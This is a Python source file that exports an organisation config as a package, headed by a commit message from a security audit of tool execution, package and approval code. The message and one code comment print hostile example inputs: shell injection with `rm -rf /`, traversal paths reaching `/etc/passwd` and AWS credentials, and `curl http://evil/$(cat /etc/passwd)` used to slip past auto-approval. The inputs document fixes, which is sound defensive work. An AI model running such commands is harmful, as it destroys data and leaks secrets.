Files
OpenOPC/opc/market/package_exporter.py
Test User 975b852e78 Fix command injection, path traversal, and approval bypass in tool/market layer
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.

Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
  A message like `foo" && rm -rf / #` injected arbitrary commands, and the
  approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
  `$(curl ...)` was executed. Now shlex-quoted.

Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
  manifest) was used directly as a directory name under prompts/market and
  passed to mkdir(parents=True) / shutil.rmtree. An id like
  `../../projects/<victim>` enabled arbitrary file write and arbitrary
  directory deletion. Added _market_prompts_dir() which validates the id
  (lowercase alphanumeric + -/_) and confirms the resolved path stays inside
  the market base; uninstall validates up front. Prompt-content filenames are
  also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
  report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
  read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
  were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
  role id/name) flowed unchecked into the path, enabling traversal writes.
  Now reduced to a safe path component with a containment check.

Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
  auto-approved as LOW risk even when it contained shell command substitution.
  `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
  human/LLM review, letting bash exfil data. Added
  _command_has_shell_substitution() and gated safe-prefix matching on it.

Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
  the `-Command` flag from PowerShell argv (4 elements), silently breaking
  every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
  JSON array) were silently replaced with `{}` while arguments_parse_error
  stayed None, so the tool executed with empty args (todo_write could wipe the
  task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
  store.initialize() (via _sweep_stale_claims), so a single corrupt row
  prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
  `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
  None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
  outbound dispatch loop and silently stopped all message delivery on every
  channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
  `data.get` raise AttributeError and drop the whole WS connection. Non-dict
  frames are now ignored.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-07-03 10:14:16 +08:00

207 lines
7.5 KiB
Python

"""Export the current org configuration as an .opcpkg package."""
from __future__ import annotations
import logging
from datetime import datetime, timezone
from pathlib import Path
from typing import TYPE_CHECKING
import yaml
from .package_format import OPCPackage, OPCPackageManifest, PackageAuthor, PackageContents
if TYPE_CHECKING:
from opc.core.config import OPCConfig
logger = logging.getLogger(__name__)
class PackageExporter:
"""Exports the current organisation as a self-contained .opcpkg directory."""
def __init__(self, config: OPCConfig, opc_home: Path) -> None:
self.config = config
self.opc_home = opc_home
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def export_current(
self,
package_id: str,
name: str,
description: str = "",
version: str = "1.0.0",
author_name: str = "",
author_github: str = "",
) -> OPCPackage:
"""Build an OPCPackage from the live org config."""
org = self.config.org
roles = [r.model_dump() for r in org.roles]
employees = [e.model_dump() for e in org.employees]
templates_by_id = {
str(getattr(template, "id", "") or ""): template
for template in list(getattr(org, "talent_templates", []) or [])
if str(getattr(template, "id", "") or "")
}
employee_template_ids = {
str(employee.get("template_id", "") or "").strip()
for employee in employees
if str(employee.get("template_id", "") or "").strip()
}
try:
from opc.layer2_organization.talent_market import TalentMarket
catalog = {template.id: template for template in TalentMarket(self.opc_home, self.config).list_available_templates()}
for template_id in employee_template_ids:
if template_id in catalog:
templates_by_id.setdefault(template_id, catalog[template_id])
except Exception:
pass
templates = [template.model_dump() for template in templates_by_id.values()]
# Serialize runtime policy for the current profile
wf_policy = None
profile = org.company_profile
if profile in org.runtime_policies:
wf_policy = org.runtime_policies[profile].model_dump()
# Collect referenced prompt files
prompt_contents = self._collect_prompts(roles, templates, employees)
manifest = OPCPackageManifest(
id=package_id,
name=name,
description=description,
version=version,
author=PackageAuthor(name=author_name, github=author_github),
contents=PackageContents(
roles=len(roles),
work_item_templates=0,
gates=0,
prompts=len(prompt_contents),
),
)
return OPCPackage(
manifest=manifest,
roles=roles,
runtime_policy=wf_policy,
talent_templates=templates,
employees=employees,
prompt_contents=prompt_contents,
readme=self._generate_readme(manifest, roles, None),
)
def write_to_path(self, package: OPCPackage, out_dir: Path) -> Path:
"""Write an OPCPackage to disk as a .opcpkg directory."""
pkg_dir = out_dir / f"{package.manifest.id}.opcpkg"
pkg_dir.mkdir(parents=True, exist_ok=True)
# manifest.yaml
with open(pkg_dir / "manifest.yaml", "w", encoding="utf-8") as f:
yaml.dump(package.manifest.model_dump(), f, default_flow_style=False, allow_unicode=True)
# org_config.yaml
org_data: dict = {
"roles": package.roles,
"talent_templates": package.talent_templates,
"employees": package.employees,
"work_item_templates": package.work_item_templates,
}
if package.runtime_policy:
org_data["runtime_policy"] = package.runtime_policy
with open(pkg_dir / "org_config.yaml", "w", encoding="utf-8") as f:
yaml.dump(org_data, f, default_flow_style=False, allow_unicode=True)
# prompts/
if package.prompt_contents:
prompts_dir = pkg_dir / "prompts"
prompts_dir.mkdir(exist_ok=True)
for filename, content in package.prompt_contents.items():
with open(prompts_dir / filename, "w", encoding="utf-8") as f:
f.write(content)
# README.md
with open(pkg_dir / "README.md", "w", encoding="utf-8") as f:
f.write(package.readme)
logger.info("Exported package %s to %s", package.manifest.id, pkg_dir)
return pkg_dir
# ------------------------------------------------------------------
# Internal helpers
# ------------------------------------------------------------------
def _collect_prompts(
self,
roles: list[dict],
templates: list[dict],
employees: list[dict],
) -> dict[str, str]:
"""Read all referenced prompt files and return {filename: content}."""
refs: set[str] = set()
for r in roles:
refs.update(r.get("prompt_refs") or [])
for t in templates:
ref = t.get("prompt_ref", "")
if ref:
refs.add(ref)
for e in employees:
refs.update(e.get("prompt_refs") or [])
contents: dict[str, str] = {}
# ``refs`` come from package/role definitions as bare strings. An absolute or
# traversing value (e.g. "/etc/passwd" or "../../.aws/credentials") must not be
# bundled into the exported package, so confine each path to opc_home.
base = self.opc_home.resolve()
for ref in sorted(refs):
path = (self.opc_home / ref).resolve()
try:
path.relative_to(base)
except ValueError:
logger.debug("Skipping prompt ref outside opc_home: %s", ref)
continue
if path.is_file():
try:
contents[path.name] = path.read_text(encoding="utf-8")
except Exception:
logger.debug("Failed to read prompt %s", path)
return contents
def _generate_readme(
self,
manifest: OPCPackageManifest,
roles: list[dict],
work_item_templates: list[dict] | None,
) -> str:
"""Auto-generate a README.md for the package."""
lines = [
f"# {manifest.name}",
"",
manifest.description or "An OPC architecture package.",
"",
f"- **Version**: {manifest.version}",
f"- **Category**: {manifest.category}",
f"- **Roles**: {manifest.contents.roles}",
f"- **Work Item Templates**: {manifest.contents.work_item_templates}",
"",
"## Roles",
"",
]
for r in roles:
lines.append(f"- **{r.get('name', r.get('id', '?'))}** (`{r.get('id', '?')}`): {r.get('responsibility', '')}")
if work_item_templates:
lines.extend(["", "## Work Item Templates", ""])
for item in work_item_templates:
lines.append(f"- **{item.get('title', item.get('id', '?'))}** (`{item.get('id', '?')}`)")
lines.extend([
"",
"---",
f"*Exported at {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}*",
])
return "\n".join(lines) + "\n"